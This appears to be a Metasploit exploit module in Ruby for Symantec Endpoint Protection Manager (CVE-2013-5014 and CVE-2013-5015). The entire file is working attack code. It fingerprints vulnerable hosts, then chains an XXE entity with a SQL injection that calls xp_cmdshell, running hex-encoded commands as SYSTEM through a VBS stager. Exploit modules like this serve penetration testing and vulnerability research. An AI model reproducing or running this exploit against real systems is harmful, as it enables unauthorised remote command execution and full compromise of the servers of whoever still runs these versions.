126 lines
4.1 KiB
Ruby
126 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include REXML
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include Msf::Exploit::CmdStager
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
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'Description' => %q{
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This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
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versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
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can reach SQL injection affected components. As xp_cmdshell is enabled in the included
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database instance, it's possible to execute arbitrary system commands on the target
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with SYSTEM privileges.
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},
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'Author' =>
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[
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'Stefan Viehbock', # Discovery
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'Chris Graham', # PoC exploit
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'xistence <xistence[at]0x90.nl>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-5014' ],
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[ 'CVE', '2013-5015' ],
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[ 'EDB', '31853'],
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[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows VBS Stager', {}]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Feb 24 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(9090),
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OptString.new('TARGETURI', [true, 'The base path', '/'])
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], self.class)
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deregister_options('CMDSTAGER::FLAVOR')
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end
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def check
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path),
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'method' => 'GET',
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})
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if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("#{peer} - Sending payload")
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# Execute the cmdstager, max length of the commands is ~3950
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execute_cmdstager({:flavor => :vbs, :linemax => 3950})
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end
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def execute_command(cmd, opts = {})
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# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
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command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"
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# Generate random 'xx032xxxx' sequence number.
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seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"
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soap = soap_request(seqnum, command)
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post_data = Rex::MIME::Message.new
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post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
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xxe = post_data.to_s
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
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'method' => 'POST',
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'vars_get' => { 'ActionType' => 'ConsoleLog' },
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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'data' => xxe,
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})
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if res and res.body !~ /ResponseCode/
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fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
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end
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end
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def soap_request(seqnum, command)
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randpayload = rand_text_alpha(8+rand(8))
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randxxe = rand_text_alpha(8+rand(8))
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entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"
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entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"
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xml = Document.new
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xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
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xml.add_element("Request")
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xxe = xml.root.add_element(randxxe)
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xxe.text = "PAYLOAD"
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xml_s = xml.to_s
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xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
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xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding
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xml_s
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end
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end
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